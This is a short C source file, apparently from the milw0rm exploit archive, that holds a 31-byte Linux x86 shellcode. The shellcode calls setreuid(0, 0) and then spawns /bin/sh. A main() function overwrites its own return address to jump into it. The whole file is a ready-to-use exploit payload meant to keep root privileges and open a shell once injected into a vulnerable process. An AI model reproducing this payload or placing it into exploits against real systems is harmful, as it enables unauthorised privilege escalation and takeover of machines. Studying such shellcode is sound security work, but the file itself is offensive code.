/*
* (linux/x86) setreuid(0, 0) + execve("/bin/sh", ["/bin/sh", NULL], NULL) - 31 bytes
* - izik <izik@tty64.org>
*/
char shellcode[] =
"\x6a\x46" // push $0x46
"\x58" // pop %eax
"\x31\xdb" // xor %ebx,%ebx
"\x31\xc9" // xor %ecx,%ecx
"\xcd\x80" // int $0x80
"\x99" // cltd
"\xb0\x0b" // mov $0xb,%al
"\x52" // push %edx
"\x68\x2f\x2f\x73\x68" // push $0x68732f2f
"\x68\x2f\x62\x69\x6e" // push $0x6e69622f
"\x89\xe3" // mov %esp,%ebx
"\x52" // push %edx
"\x53" // push %ebx
"\x89\xe1" // mov %esp,%ecx
"\xcd\x80"; // int $0x80
int main(int argc, char **argv) {
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int) shellcode;
}
// milw0rm.com [2006-01-21]
